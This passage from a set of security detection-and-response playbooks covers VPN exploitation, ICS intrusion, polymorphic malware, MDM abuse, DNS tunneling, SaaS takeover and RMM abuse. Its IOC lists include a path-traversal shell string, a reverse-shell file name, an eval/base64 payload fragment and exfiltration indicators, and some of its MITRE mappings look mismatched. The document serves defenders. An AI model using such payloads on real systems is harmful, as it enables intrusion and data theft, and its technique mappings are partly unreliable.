7. Lessons Learned

7.1 Prevention and Detection Engineering

Action 12: Detection rule for privilege escalation

```
rule: Suspicious IAM Role Assumption
if eventName == "AssumeRole"
and user_identity not in allowlist
and destination_role has_admin_access
```

then alert

Action 13: Create IAM role privilege escalation map

- Document all roles and their possible escalation paths
- Map trust relationships and detect unexpected actor-path combinations

Action 14: Strengthen least privilege enforcement

- Periodically remove unused roles
- Enforce approval workflows for role creation/modification

8. Reporting and Documentation

- Incident ID: DRP-2025-015
- Severity: Critical (full infrastructure access via IAM exploitation)
- Impact: Multiple IAM roles compromised, S3 buckets accessed, admin privileges granted to rogue user
- IOCs Collected:
    - IAM Role Name: DevOps-AutoDeploy
    - IP: 161.97.18.21
    - Exploited Policy: Allow *:* on all resources
    - First seen: 2025-07-22 06:48 UTC
- MITRE Mapping:
    - Initial Access: T1078.004
    - Privilege Escalation: T1068, T1098.001
    - Credential Access: T1555.003
    - Persistence: T1136.003

Detection and Response Playbook 16: Exploitation of Vulnerable Public-Facing VPN Appliance

1. Overview

Attack Type: External Service Exploitation
Tactic: Initial Access, Persistence, Defense Evasion
Technique (MITRE ATT&CK):

- T1190 - Exploit Public-Facing Application
- T1133 - External Remote Services
- T1078 - Valid Accounts
- T1546 - Event Triggered Execution
- T1562.001 - Disable or Modify Security Tools

2. Attack Summary

An attacker exploits a known or zero-day vulnerability in a publicly exposed VPN device (e.g. Fortinet, Pulse Secure, Ivanti Connect Secure, Palo Alto GlobalProtect). These appliances may be vulnerable to command injection, path traversal, authentication bypass or arbitrary code execution. Successful exploitation provides the attacker with shell access, credential harvesting capability or access to internal networks. Often, attackers deploy web shells, backdoors or create rogue admin accounts for persistent access.

3. Detection Steps

3.1 VPN Appliance Logs and Telemetry

- Data Source: VPN system logs, appliance-specific telemetry (e.g. FortiAnalyzer, Ivanti logging)
- Detection Trigger:
    - Login attempts from unexpected geolocations
    - Exploitation patterns such as malformed requests (../../, %00, shell payloads)
    - New admin accounts or password changes without authorisation

3.2 Network Perimeter Monitoring

- Data Source: Firewall logs, NDR, IDS/IPS
- Detection Trigger:
    - Access to known exploit paths (e.g. /remote/fgt_lang, /dana-na/, /sslvpn.cgi)
    - POST requests to management URLs from unknown IPs
    - Lateral movement from VPN IP range into internal networks

3.3 SIEM and Threat Intelligence Correlation

- Data Source: SIEM, threat intel platforms
- Detection Trigger:
    - IOC match with known exploit CVEs (e.g. CVE-2024-3400, CVE-2023-46805)
    - Indicators such as web shell deployment or suspicious .pl, .sh, .php files in appliance directories
    - VPN access by user accounts during odd hours followed by privileged internal access

4. Response Actions

4.1 Containment

Action 1: Immediately isolate the VPN appliance

- Block external access at the firewall
- Disable the VPN service if no patch/fix is immediately available

Action 2: Invalidate all active sessions

- Log out all current VPN users
- Revoke session tokens and rotate VPN client configurations or pre-shared keys

Action 3: Block known malicious IPs and exploit paths

- Apply temporary WAF or IPS signatures for known exploit payloads
- Drop traffic from IOCs related to threat actor infrastructure

5. Investigation

5.1 Exploitation Analysis

Action 4: Examine appliance logs for initial exploit

- Identify timestamp, source IP and request used to trigger exploit
- Look for unauthorised API access, abnormal POST requests or tampering attempts

Action 5: Look for signs of persistence

- Search for dropped files or modified configuration scripts
- Review cron jobs, startup files or rogue users added to system

5.2 Internal Network Tracing

Action 6: Check lateral movement attempts

- Identify systems accessed immediately after VPN login
- Review connections over RDP, SMB, SSH, WMI initiated by the VPN interface

Action 7: Validate credentials and user actions

- Were valid user credentials used post-exploit?
- Check whether MFA was bypassed or logs show authentication anomalies

6. Recovery and Remediation

6.1 Patch and Harden the VPN Appliance

Action 8: Apply vendor-released patches or firmware updates

- Validate against current CVE exposure list
- Reboot and scan appliance for persistence mechanisms

Action 9: Reset appliance configuration credentials

- Change all administrator passwords
- Reconfigure with least privilege principles and enforced MFA

6.2 Secure the Internal Environment

Action 10: Hunt for Indicators of Compromise across network

- Investigate all systems accessed from VPN subnet
- Deploy EDR scan across exposed endpoints for any malware or scripts

Action 11: Enable logging and external monitoring

- Forward VPN logs to central SIEM
- Monitor for unexpected session spikes or login patterns

7. Lessons Learned

7.1 Prevention and Monitoring Enhancement

Action 12: SIEM detection rule for VPN exploit attempts

rule: Suspicious Access to VPN Exploit Paths
if request_uri contains [“/remote/fgt_lang”, “/dana-na/”, “/sslvpn.cgi”]
and method == POST

and user_agent not in known list
then alert

Action 13: Regular vulnerability scanning and patching

- Include VPN appliances in monthly scanning
- Subscribe to vendor alerts and advisories

Action 14: Network segmentation and access controls

- Separate VPN subnets from core infrastructure
- Apply strict controls on what VPN users can access internally

8. Reporting and Documentation

- Incident ID: DRP-2025-016
- Severity: Critical (external exploit of remote access gateway)
- Impact: Full VPN access gained via unauthenticated command injection
- IOCs Collected:
    - CVE: CVE-2025-0062
    - Exploit path: /remote/fgt_lang?lang=/../../../..//bin/sh
    - IP: 45.137.155.11
    - File dropped: /data/temp/reverse.sh
- MITRE Mapping:
    - Initial Access: T1190
    - External Services: T1133
    - Credential Access: T1078
    - Persistence: T1546
    - Defense Evasion: T1562.001

Detection and Response Playbook 17: Compromise of Industrial Control Systems (ICS) via OT Network Breach

1. Overview

Attack Type: Operational Technology (OT) Intrusion
Tactic: Initial Access, Lateral Movement, Impact
Technique (MITRE ATT&CK for ICS):

- T0868 - Exploit Public-Facing Application
- T0883 - Remote Services: SMB/OPC DA/WinRM
- T0886 - Lateral Tool Transfer
- T0887 - Modify Controller Tasking
- T0838 - Man-in-the-Middle
- T0829 - Data Historian Compromise

2. Attack Summary

An attacker gains a foothold in the IT network via phishing, remote access exploitation or third-party connection. From there, they pivot into the Operational Technology (OT) network, exploiting flat network architecture, shared credentials or misconfigured firewalls. Once inside, they move laterally to historian servers, Human-Machine Interfaces (HMIs) and PLCs (Programmable Logic Controllers), modifying control logic or disrupting industrial operations. Impacts may include production downtime, safety system manipulation or even physical damage.

3. Detection Steps

3.1 IT to OT Boundary Monitoring

- Data Source: Firewalls, IDS/IPS, OT-aware NDR (e.g., Nozomi, Claroty)
- Detection Trigger:
    - Unexpected traffic from IT subnets to OT VLANs
    - Protocol bridging (e.g. SMB, RDP or HTTP into ICS network)
    - Usage of dual-homed assets or jump servers crossing boundaries

3.2 ICS Protocol and Device Monitoring

- Data Source: ICS-specific NDR, Historian Logs, PLC access logs
- Detection Trigger:
    - Unauthorized commands sent via Modbus, DNP3, S7, OPC, etc.
    - Unexpected logic downloads to PLCs
    - Direct access to HMIs outside maintenance window

3.3 Engineering Workstation and Historian Activity

- Data Source: Sysmon, EDR on engineering workstations, historian logs
- Detection Trigger:
    - Remote access tools running (e.g., TeamViewer, AnyDesk)
    - Archive modification or export from historian
    - New scheduled tasks or scripts created on engineering workstation

4. Response Actions

4.1 Containment

Action 1: Segment the breach

- Physically or logically isolate the affected OT zone
- Disconnect jump servers or VPN paths connecting IT and OT temporarily

Action 2: Block lateral access

- Apply ACLs on firewalls to limit protocol movement (e.g. block SMB, RDP, RPC)
- Disable routing between ICS segments not required for real-time operations

Action 3: Suspend automation tasks

- Halt remote logic uploads and scheduler-based actions
- Place PLCs and HMIs into manual or safe state if possible

5. Investigation

5.1 Timeline and Lateral Movement Analysis

Action 4: Identify point of OT access

- Review logs from firewalls, jump servers and asset management platforms
- Trace the user, session or malware responsible for bridging the networks

Action 5: Map affected systems

- Document all HMIs, PLCs, RTUs, historians and workstations accessed or manipulated
- Look for logic downloads, configuration changes or forced I/O states

5.2 Malware and Payload Analysis

Action 6: Forensic review of engineering systems

- Dump memory and extract running processes from engineering workstations
- Check for known ICS-specific malware (e.g. TRITON, Industroyer2)

Action 7: Analyze network traffic captures

- Inspect packet captures for unauthorised write or control commands
- Identify command structure and source IPs

6. Recovery and Remediation

6.1 Clean and Restore Operations

Action 8: Validate PLC logic integrity

- Compare current logic on devices with known-good backups
- Re-deploy from clean engineering workstation if tampering confirmed

Action 9: Reset access controls

- Change passwords used in both IT and OT networks
- Reconfigure jump servers, RDP proxies or terminal services to enforce access monitoring

6.2 Harden OT Infrastructure

Action 10: Enforce network zoning and firewalls

- Separate HMI/PLC zones from engineering workstations and IT
- Apply strict rules for protocol usage and port access

Action 11: Limit remote access and dual-use tools

- Remove unused remote access software
- Require out-of-band approval and monitoring for maintenance access

7. Lessons Learned

7.1 ICS Risk Management and Training

Action 12: Update ICS-specific detection rules

rule: Unauthorized Modbus Function Code
if source_ip not in approved list

and destination_port == 502
and function_code in [5, 6, 15, 16] // write commands
then alert

Action 13: Improve ICS visibility and asset inventory

- Deploy passive scanning tools in OT for device fingerprinting
- Maintain current topology map and critical path diagrams

Action 14: Conduct post-mortem tabletop and technical exercise

- Include operations, safety, IT and incident response teams
- Simulate lateral breach scenario and evaluate response coordination

8. Reporting and Documentation

- Incident ID: DRP-2025-017
- Severity: Critical (direct compromise of production control infrastructure)
- Impact: Engineering workstation breached, unauthorized PLC logic uploaded, line halted for 4 hours
- IOCs Collected:
    - Attacker IP: 172.22.100.41
    - Exploit Path: Access via vulnerable remote access tool
    - Affected PLC: Siemens S7-1500
    - Logic fingerprint mismatch: CRC failure on block OB35
- MITRE Mapping (ICS):
    - Initial Access: T0868
    - Lateral Movement: T0886, T0883
    - Execution: T0859
    - Impact: T0838, T0829, T0887

Detection and Response Playbook 18: AI-Powered Malware Evasion and Code Mutation

1. Overview

Attack Type: Advanced Persistent Threat (APT) with AI-enhanced Evasion
Tactic: Execution, Defense Evasion, Persistence
Technique (MITRE ATT&CK):

- T1204.002 - User Execution: Malicious File
- T1027 - Obfuscated Files or Information
- T1027.004 - Compile After Delivery
- T1480.001 - Execution Guardrails: Environmental Checks
- T1059.006 - Command and Scripting Interpreter: Python
- T1546.015 - Application Shimming

2. Attack Summary

In this advanced scenario, malware authors leverage AI-driven code mutation engines to create self-modifying and adaptive payloads. These payloads dynamically evade static and behavioural signatures by altering their structure based on the execution environment. The malware can delay execution until sandbox checks are passed, evade EDR heuristics by mimicking legitimate processes and mutate code on each delivery, even within the same campaign. These threats often use Python, JavaScript or shell interpreters compiled at runtime or packed with AI-generated decoys.

3. Detection Steps

3.1 File and Execution Monitoring

- Data Source: EDR, AMSI, Sysmon
- Detection Trigger:
    - Executable or script with high entropy and no signature
    - Scripts that compile executables at runtime (e.g., Python → .exe)
    - Use of eval(), exec(), compile() or dynamic imports in scripts

3.2 Behavioural Analysis and Sandbox Telemetry

- Data Source: Malware sandbox (e.g., Any.Run, Cuckoo), deception environments
- Detection Trigger:
    - Delayed execution or sandbox evasion routines (e.g., time delay, mouse movement checks)
    - Conditional logic based on OS version, domain presence or process list
    - Dynamic API resolution or process injection triggered only outside sandbox

3.3 Mutation Pattern Monitoring

- Data Source: Threat Intelligence Platform, SIEM
- Detection Trigger:
    - Same file behaviour with different hashes (polymorphic campaigns)
    - Code fragments resembling adversarial learning payloads
    - Embedded models or obfuscated logic for mutation and recompilation

4. Response Actions

4.1 Containment

Action 1: Isolate infected endpoint

- Remove network access using EDR or NAC to prevent command-and-control (C2) callback
- Suspend related processes for memory analysis before termination

Action 2: Block delivery mechanisms

- Use email gateway and web proxy to block initial delivery channel (e.g., phishing, maldocs)
- If mutation is in emails, flag all files with similar naming/structure for manual review

Action 3: Alert threat hunting team

- AI-powered malware is rarely standalone, initiate proactive hunt in same subnet
- Begin hash-independent search (YARA, memory patterns, syscall sequences)

5. Investigation

5.1 Payload Disassembly

Action 4: Extract and analyse the sample

- Use static analysis tools (e.g., Ghidra, Binary Ninja) to map control flow
- Look for embedded machine learning models, obfuscation layers or mutation triggers

Action 5: Conduct dynamic analysis

- Detonate the malware in a custom sandbox with real-user simulation
- Observe for environmental checks (e.g., if GetCursorPos() fails → skip payload)

5.2 Threat Actor Attribution

Action 6: Compare mutation logic with known APT tactics

- Threat intel platforms may reveal known actor signatures or frameworks
- Check for reused TTPs (e.g., execution guardrails, fallback C2)

6. Recovery and Remediation

6.1 Clean Infected Systems

Action 7: Memory dump and clean

- Dump process memory before killing to preserve mutated state
- Reimage if kernel tampering or driver infection is confirmed

Action 8: Restore only verified files

- Avoid backup restore without full malware scan
- Apply file whitelisting and hash validation before reintegration

6.2 Patch and Fortify

Action 9: Patch vulnerable software

- These attacks often rely on initial execution via maldocs or unpatched apps
- Validate patch levels of browsers, office apps, scripting runtimes

Action 10: Harden interpreter access

- Block unnecessary scripting interpreters (Python, PowerShell, wscript) for non-developer roles
- Implement code signing and restrict execution from temp and user profile folders

7. Lessons Learned

7.1 Detection Engineering and Rule Updates

Action 11: Behaviour-based YARA rule creation

```
rule: AI_Mutating_Malware
condition:
  filesize < 1MB and
  RMcode1 = { e8 ?? ?? ?? ?? 83 c4 ?? 85 c0 75 ?? }
```

and any of them
and entropy > 7.5

Action 12: Integrate ML-aware detection

- Deploy AI-driven detection tools that analyse behavioural deviations
- Use vendors with adversarial training modules

Action 13: Red team simulation of AI malware

- Simulate polymorphic payloads in red team engagements
- Train blue teams to hunt without relying on hash or static signatures

8. Reporting and Documentation

- Incident ID: DRP-2025-018
- Severity: Critical (stealthy polymorphic malware with C2 and evasion capabilities)
- Impact: Initial access achieved, beaconing detected, payload mutated across 4 variants
- IOCs Collected:
    - Delivery: Invoice_#9837261.pdf.js
    - C2: ai-botnet-exchange[.]cloud
    - Mutation logic: Embedded Python script with base64.b64decode(eval(payload))
    - First seen: 2025-07-21 15:08 UTC
- MITRE Mapping:
    - Initial Access: T1204.002
    - Execution: T1059.006
    - Defense Evasion: T1027, T1027.004, T1480.001
    - Persistence: T1546.015

Detection and Response Playbook 19: Compromise via Mobile Device Phishing and MDM Abuse

1. Overview

Attack Type: Mobile Endpoint Compromise / Device Management Abuse
Tactic: Initial Access, Credential Access, Persistence
Technique (MITRE ATT&CK - Mobile):

- T1476 - Deliver Malicious App via Authorized App Store
- T1583.006 - Compromise Infrastructure: Trusted Relationship
- T1626 - Abuse of MDM Protocols
- T1456 - Credential Theft
- T1635 - Exploit Remote Services on Mobile
- T1424 - Abuse Elevation Control Mechanism

2. Attack Summary

An attacker targets mobile devices (iOS or Android) via phishing SMS (smishing), malicious QR codes or fake mobile apps. Once the user is tricked into installing the app or clicking a malicious link, the attacker gains access to sensitive data or credentials. In advanced scenarios, attackers exploit misconfigured or compromised Mobile Device Management (MDM) platforms to silently push malicious profiles, enforce backdoor VPNs or install surveillance tools across an entire fleet of devices.

3. Detection Steps

3.1 Mobile Endpoint Monitoring

- Data Source: MDM logs, EMM platforms (e.g., Intune, MobileIron, JAMF), mobile threat defense (MTD)
- Detection Trigger:
    - Installation of apps outside approved catalogue
    - Side-loading of APKs or configuration profiles on iOS
    - Certificate errors, unsigned apps or apps requesting excessive permissions

3.2 MDM Behaviour and Access Monitoring

- Data Source: Admin portal logs, IAM system, API audit trails
- Detection Trigger:
    - Sudden push of configuration changes or applications
    - MDM console accessed from unusual geolocation or IP
    - Mass actions (e.g., profile install, VPN tunnel, app deployment) executed outside approved schedule

3.3 Network and Application Logs

- Data Source: DNS logs, firewall, CASB, secure email gateways
- Detection Trigger:
    - DNS resolution for domains linked to mobile malware or phishing kits
    - Suspicious app behaviour (e.g. data exfiltration, background audio recording, clipboard access)
    - Phishing URL clicked from mobile device (e.g. apple-id-reset.com, mail365-secure[.]info)

4. Response Actions

4.1 Containment

Action 1: Isolate the affected device

- Use MDM to lock or wipe the device remotely
- Remove access to corporate resources (e.g. VPN, email, file sync)
- Revoke device compliance in Azure AD or Google Workspace

Action 2: Suspend compromised credentials

- Reset passwords and revoke OAuth/SSO tokens issued to the user
- Revoke push tokens and trusted device certificates

Action 3: Disable malicious MDM controls

- Immediately disable rogue MDM servers or tenants
- Restore configuration from known-good profiles and remove unauthorized apps

5. Investigation

5.1 Root Cause Analysis

Action 4: Determine initial attack vector

- Was it a smishing message, QR phishing or malicious app?
- Correlate user activity with known phishing campaigns or fake app names

Action 5: Review device behaviour

- Check system logs for unauthorized app installs, profile changes, camera/mic access
- Look for excessive battery drain or unexplained outbound connections

5.2 MDM Audit and Misuse Detection

Action 6: Audit recent MDM actions

- Identify which admin account or API token triggered the suspicious deployment
- Confirm if administrative controls were hijacked or misused

Action 7: Trace network connections

- Review VPN settings, proxy configurations or DNS traffic rerouted through suspicious tunnels
- Identify any cloud storage or external server receiving outbound traffic from the device

6. Recovery and Remediation

6.1 Device Restoration and Verification

Action 8: Factory reset and re-enrol

- Reset affected mobile devices and re-provision using clean profile
- Only allow re-enrolment if device passes compliance checks

Action 9: Reconfigure MDM with strong controls

- Require admin approval for app push or profile change
- Enforce access control and MFA for all MDM administrator accounts

6.2 Broader Risk Mitigation

Action 10: Implement mobile threat defense

- Use tools like Microsoft Defender for Endpoint (Mobile), Lookout, Zimperium
- Block risky apps, unverified profiles and sideloading activities

Action 11: Educate users and apply BYOD safeguards

- Train users on mobile phishing, app hygiene and QR code risks
- Enforce app sandboxing and data containerisation for personal devices

7. Lessons Learned

7.1 Policy and Detection Tuning

Action 12: SIEM/MDM rule for malicious MDM behaviour

rule: Rogue MDM Profile Deployment
if admin_user not in allowlist
and device_count > 3
and action_type == "InstallProfile"
then alert

Action 13: Enable behavioural telemetry on mobile

- Activate telemetry from mobile threat defense tools
- Correlate device state changes with application and user behaviour

Action 14: Strengthen MDM segmentation

- Isolate MDM platforms from other core systems
- Monitor outbound traffic from MDM agents to prevent lateral movement

8. Reporting and Documentation

- Incident ID: DRP-2025-019
- Severity: High (mobile compromise with potential fleet-level abuse)
- Impact: 8 mobile devices compromised; rogue VPN profile deployed to 3 devices via misused MDM
- IOCs Collected:
    - Phishing domain: mdm-security-profile[.]info
    - Malicious App: SecureMail Pro
    - Rogue MDM admin IP: 138.201.77.61
    - Timestamp of malicious push: 2025-07-19 04:28 UTC
- MITRE Mapping (Mobile):
    - Initial Access: T1476, T1635
    - Credential Access: T1456
    - Persistence: T1626
    - Impact: Profile misuse, data exposure

Detection and Response Playbook 20: DNS Tunneling for Stealthy Data Exfiltration

1. Overview

Attack Type: Covert Channel / Data Exfiltration
Tactic: Command and Control (C2), Exfiltration
Technique (MITRE ATT&CK):

- T1071.004 - Application Layer Protocol: DNS
- T1048.003 - Exfiltration Over Alternative Protocol
- T1568.002 - Dynamic Resolution: Domain Generation Algorithms (DGA)
- T1572 - Protocol Tunneling
- T1053.005 - Scheduled Task: Scheduled Task/Job for Persistence

2. Attack Summary

DNS tunneling leverages DNS protocol to bypass network firewalls and inspection tools. The attacker encodes data (e.g. credentials, file content) into subdomain queries or uses DNS TXT records to receive commands. This channel enables bi-directional communication with C2 servers using what appears to be legitimate DNS traffic. Because DNS is almost always allowed through firewalls, it's a preferred method for stealthy exfiltration and persistence.

3. Detection Steps

3.1 DNS Traffic and Resolver Logs

- Data Source: Internal DNS logs, forwarder logs, SIEM, NDR
- Detection Trigger:
    - Excessive DNS queries to a single domain with long or random subdomains
    - TXT record responses containing large payloads
    - Unusually high frequency of requests from a single host to uncommon domains

3.2 Network Flow and Behavioural Analysis

- Data Source: NDR (e.g. Corelight/Zeek, Darktrace), proxy/firewall
- Detection Trigger:
    - Queries to domains with entropy-rich subdomains (e.g. skzj2e8xdg.mydns[.]cc)
    - DNS query rate anomaly for endpoints not expected to perform resolution
    - Queries bypassing internal resolvers (e.g. 8.8.8.8, 1.1.1.1)

3.3 Host-Based Indicators

- Data Source: EDR, Sysmon
- Detection Trigger:
    - Execution of known tunneling tools (e.g. iodine, dnscat2, dnscapy)
    - PowerShell scripts with DNS client API usage
    - Processes issuing outbound DNS queries via unusual libraries or DLLs

4. Response Actions

4.1 Containment

Action 1: Block malicious domain and sinkhole

- Block domains used for tunneling at internal resolvers and perimeter firewalls
- Redirect to internal sinkhole DNS server to track attempts

Action 2: Isolate the host

- Use EDR or NAC to remove infected endpoint from the network
- Stop further exfiltration or command/control

Action 3: Revoke credentials used during exfiltration

- Rotate any exposed passwords, tokens or secrets
- Invalidate API keys or session cookies that were potentially leaked

5. Investigation

5.1 DNS Query Analysis

Action 4: Extract DNS query logs

- Focus on queries with long, base64-like subdomains
- Decode patterns to determine if credentials, internal hostnames or file fragments were exfiltrated

Action 5: Identify C2 server ownership

- Perform passive DNS and WHOIS lookup on the exfiltration domain
- Correlate with threat intel sources for actor attribution

5.2 Host and Payload Review

Action 6: Review process activity

- Identify scripts or binaries that initiated the DNS channel
- Examine file writes, registry changes or scheduled tasks created around the same time

Action 7: Assess lateral movement risk

- Check for connections to file servers, shared drives or credential access prior to tunneling
- Validate whether data was staged before exfiltration

6. Recovery and Remediation

6.1 Cleanup and Host Rebuild

Action 8: Remove tunneling tool or malware

- Delete scripts, binaries and scheduled tasks used for persistence
- Reimage host if deep compromise suspected

Action 9: Restore from trusted backups

- Only restore files verified to be clean
- Scan historical backups for dormant tunneling scripts

6.2 Harden DNS Infrastructure

Action 10: Implement DNS egress filtering

- Only allow DNS to known internal resolvers
- Block all outbound DNS traffic to public servers directly from endpoints

Action 11: Enforce DNS inspection and logging

- Deploy DNS inspection tools capable of detecting tunneling patterns
- Ensure full visibility into internal and external DNS queries

7. Lessons Learned

7.1 Detection Engineering and Tuning

Action 12: DNS tunneling detection rule for SIEM

rule: Potential DNS Tunneling
if query_length > 60

and query_count > 100 per hour
and domain_age < 7 days
then alert

Action 13: Enrich telemetry with threat intelligence

- Subscribe to feeds with DGA domains, known tunneling tool indicators
- Monitor for updates in DNS tunneling tactics used by APTs and botnets

Action 14: Threat hunting queries

- Look for:
    - Long domain names with multiple subdomain levels
    - Outbound DNS queries with uniform length and pattern
    - Devices with persistent DNS traffic but no web browsing activity

8. Reporting and Documentation

- Incident ID: DRP-2025-020
- Severity: High (stealth exfiltration of data via DNS channel)
- Impact: 8,000 employee records exfiltrated in base32-encoded DNS queries over 36 hours
- IOCs Collected:
    - Domain: data-stealth-server[.]online
    - Tool: dnscat2
    - Sample query: c2VmZXJ0bG9nZ2VkLWZpbGVzZGF0YS5leGFtcGxlLmNvbQ==.data-stealth-server[.]online
    - C2 IP: 91.210.107.133
- MITRE Mapping:
    - C2: T1071.004
    - Exfiltration: T1048.003
    - Defense Evasion: T1568.002
    - Persistence: T1053.005

Detection and Response Playbook 21: SaaS Account Compromise and Abuse of Collaboration Platforms

1. Overview

Attack Type: Cloud SaaS Abuse / Account Takeover
Tactic: Initial Access, Persistence, Exfiltration
Technique (MITRE ATT&CK):

- T1078.004 - Valid Accounts: Cloud Accounts
- T1539 - Steal Web Session Cookie
- T1556.004 - Forge Web Credentials
- T1110.003 - Brute Force: Password Spraying
- T1566.002 - Phishing via Cloud Sharing
- T1210 - Exploitation of Remote Services

2. Attack Summary

In this scenario, a threat actor compromises a corporate user account tied to a SaaS platform like Microsoft 365, Google Workspace, Slack or Zoom. This may happen through credential phishing, session hijacking or password spraying. Once inside, the attacker uses native platform features (e.g. email forwarding rules, file sharing links, calendar invites, Slack DMs) to access or spread further, potentially exfiltrating data or using the account to deliver malware links to trusted peers.

3. Detection Steps

3.1 SaaS Platform Logs and Activity Monitoring

- Data Source: M365 Unified Audit Log, Google Admin Logs, Slack Enterprise Grid Audit
- Detection Trigger:
    - Login from abnormal IP, geolocation or device fingerprint
    - Creation of inbox rules that auto-delete, auto-forward or mark-as-read
    - File sharing settings changed from internal-only to public or external domains

3.2 Behavioural Anomaly Detection

- Data Source: UEBA, CASB, SIEM
- Detection Trigger:
    - Spike in data downloads, shares or calendar invites sent outside normal hours
    - New third-party app integrations with high-privilege scopes

    - OAuth token issuance to unknown apps

3.3 Collaboration Abuse Indicators

- Data Source: Email gateway, Slack logs, Google Drive or OneDrive logs
- Detection Trigger:
    - Mass file sharing to external emails or personal domains
    - Phishing messages sent internally from compromised user
    - Slack app installation and bot activity not seen before

4. Response Actions

4.1 Containment

Action 1: Lock user account and revoke sessions

- Force sign-out from all sessions and invalidate refresh tokens
- Temporarily disable account to prevent further access

Action 2: Remove persistence mechanisms

- Delete suspicious inbox rules, shared links, OAuth consents or Slack bots
- Revoke third-party app access using admin portal or API

Action 3: Alert affected collaborators

- Identify users who received suspicious links, files or messages
- Notify internal teams and provide guidance on what not to click

5. Investigation

5.1 Timeline Reconstruction

Action 4: Review SaaS audit logs

- Identify initial time of compromise, methods used (e.g. login vs OAuth) and source IP
- Trace all actions performed by the attacker using the compromised account

Action 5: Identify exfiltration or lateral movement

- Check for download or sync of sensitive documents
- Review sent messages, shared calendars, public Slack/Teams messages

5.2 Threat Actor Attribution

Action 6: Enrich IP and domain metadata

- Use WHOIS, VirusTotal, threat intel feeds to classify attacker infrastructure
- Look for similar patterns in peer organisations or industry ISAC alerts

6. Recovery and Remediation

6.1 Reset and Secure the Environment

Action 7: Reset credentials and enforce stronger authentication

- Require MFA enforcement (hardware tokens, app-based, no SMS)
- Rotate passwords for all affected users

Action 8: Restore affected configurations

- Restore pre-compromise file sharing permissions
- Remove unauthorised Slack integrations, meeting invitations or calendar entries

6.2 Strengthen Platform Security Controls

Action 9: Restrict data sharing and collaboration boundaries

- Enforce tenant-wide policies for external sharing (e.g. domain allowlists, expiration controls)
- Limit OAuth scopes for connected apps and enforce admin approval

Action 10: Enable continuous SaaS monitoring

- Use CASB or SSPM (SaaS Security Posture Management) to continuously track configuration drift, usage anomalies and risk exposure

7. Lessons Learned

7.1 Policy and Detection Updates

Action 11: SIEM rule for compromised account activity

rule: SaaS Account Compromise Indicators
if login_from_new_country
and new inbox rule created
and file sharing scope changed to "anyone with link"

then alert

Action 12: Regular access and sharing audits

- Review user-level sharing activity monthly
- Flag users sharing large volumes of data externally

Action 13: Security awareness targeting SaaS phishing

- Train users on how attackers use file sharing or meeting invites as phishing lures
- Simulate SaaS phishing scenarios in regular exercises

8. Reporting and Documentation

- Incident ID: DRP-2025-021
- Severity: High (cloud account abuse with internal and external exposure)
- Impact: 2 accounts compromised, 30 files externally shared, phishing emails sent to 74 internal users
- IOCs Collected:
    - IP: 144.217.93.119
    - OAuth App: SafeDocs Viewer
    - Shared File: Q2_Strategy_Plan_2025.pdf (downloaded externally)
    - Inbox Rule: Auto-forward to externalhelpdesk@outlook.com
- MITRE Mapping:
    - Initial Access: T1078.004, T1566.002
    - Credential Access: T1556.004, T1539
    - Persistence: T1110.003
    - Exfiltration: T1210

Detection and Response Playbook 22: Initial Access via Remote Monitoring and Management (RMM) Tool Abuse

1. Overview

Attack Type: Tool Abuse / Supply Chain Misuse
Tactic: Initial Access, Execution, Persistence
Technique (MITRE ATT&CK):

- T1219 - Remote Access Software
- T1566.002 - Phishing: Link
- T1105 - Ingress Tool Transfer
- T1027 - Obfuscated Files or Information
- T1053.005 - Scheduled Task/Job: Scheduled Task
- T1059.001 - PowerShell

2. Attack Summary

Threat actors increasingly leverage legitimate RMM tools (e.g. AnyDesk, Atera, ConnectWise Control, TeamViewer) to bypass traditional security defences. Delivered via phishing or malicious links, these lightweight installers are often installed silently or without elevated privileges. Once installed, they grant persistent access to the attacker using legitimate infrastructure. Because these tools are commonly whitelisted or not flagged by AV, detection is challenging. This technique has been exploited in IT helpdesk scams, ransomware pre-deployment and BEC staging operations.

3. Detection Steps

3.1 RMM Application Monitoring

- Data Source: EDR, Sysmon, software inventory
- Detection Trigger:
    - Installation of RMM tools not in the allowlist
    - Execution of RMM binaries from non-standard directories (e.g. %APPDATA%, %TEMP%)
    - CLI flags indicating silent install (e.g. --silent, --nogui, --register)

3.2 Process and Network Monitoring

- Data Source: EDR, firewall logs, DNS logs
- Detection Trigger:
    - Child process spawning from browser/email clients (e.g. chrome.exe → powershell.exe → AteraAgent.exe)
    - Outbound traffic to RMM vendor domains from endpoints not in IT role

    - DNS requests to dynamic DNS or RMM service endpoints (e.g. *.teamviewer.com, *.remote.it, *.manage.tld)

3.3 Scheduled Tasks and Registry Entries

- Data Source: Windows Event Logs, Autoruns, Sysmon
- Detection Trigger:
    - New scheduled task for persistence calling RMM agent
    - Registry keys in HKCU\Software\Microsoft\Windows\CurrentVersion\Run with RMM executable references

4. Response Actions

4.1 Containment

Action 1: Isolate infected host

- Disconnect from network and suspend processes associated with RMM
- Block known RMM service IPs and domains at firewall/proxy

Action 2: Disable attacker access

- Terminate RMM agent session from vendor console (if accessible)
- Delete agent files and registry-based persistence mechanisms

Action 3: Identify other impacted hosts

- Search for RMM install indicators across enterprise
- Pivot on installer hashes, command-line patterns or execution behaviour

5. Investigation

5.1 Identify Entry Point

Action 4: Review email or browser artefacts

- Check email delivery logs or browser history for links to RMM payload
- Confirm social engineering was used to trick user into downloading agent

Action 5: Examine installer origin

- Was RMM MSI downloaded via Dropbox, OneDrive or attacker-controlled site?
- Check certificate details, digital signature and SHA256 of binary

5.2 Threat Actor Intent

Action 6: Review post-install actions

- Did the attacker attempt to upload additional tools or exfiltrate data?
- Any PowerShell execution, data staging or lateral movement via RMM?

Action 7: Match with known TTPs

- Compare campaign indicators with known threat groups using RMM (e.g. Luna Moth, Scattered Spider)

6. Recovery and Remediation

6.1 Remove All Traces of RMM Agent

Action 8: Fully uninstall unauthorised RMM software

- Manually or via script remove all binaries, scheduled tasks, registry entries
- Use vendor-provided removal tool if available

Action 9: Harden against reinstallation

- Block hash, installer path and digital signature of abused RMM tools
- Deny RMM tool execution via application control (e.g. AppLocker, WDAC)

6.2 Improve Email and Web Filtering

Action 10: Implement phishing URL and attachment controls

- Block executable and MSI delivery via email
- Detect unusual redirection chains in embedded links

Action 11: Enable real-time URL sandboxing

- Detonate links and attachments before user can interact
- Integrate detection feedback into user-facing alerts

7. Lessons Learned

7.1 Policy and Monitoring Enhancement

Action 12: SIEM detection rule for suspicious RMM installs

rule: Unauthorized RMM Agent Install

if process_name in [“AteraAgent.exe”, “TeamViewer.exe”, “ScreenConnect.exe”]
and parent_process_name in [“powershell.exe”, “cmd.exe”, “chrome.exe”, “outlook.exe”]
and install_path not in allowlist
then alert

Action 13: Review software allowlisting policies

- Maintain an approved list of enterprise-wide remote tools
